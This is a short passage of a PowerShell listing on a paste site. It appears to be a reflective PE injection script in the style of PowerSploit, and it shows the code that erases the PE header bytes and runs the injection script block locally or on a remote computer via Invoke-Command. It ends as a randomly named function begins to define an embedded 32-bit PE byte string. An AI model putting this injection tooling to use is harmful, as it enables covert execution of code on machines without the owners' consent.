  2731.         $PEBytes[0] = 0
  2732.         $PEBytes[1] = 0
  2733.     }
  2734.  
  2735.  
  2736.     if ($ExeArgs -ne $null -and $ExeArgs -ne '')
  2737.     {
  2738.         $ExeArgs = "ReflectiveExe $ExeArgs"
  2739.     }
  2740.     else
  2741.     {
  2742.         $ExeArgs = "ReflectiveExe"
  2743.     }
  2744.  
  2745.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2746.     {
  2747.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2748.     }
  2749.     else
  2750.     {
  2751.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2752.     }
  2753. }
  2754.  
  2755. Main
  2756. }
  2757.  
  2758. function Invoke-HGFXNPCQTZ
  2759. {
  2760.  
  2761. $PEBytes32 = "
Add Comment
Please, Sign In to add comment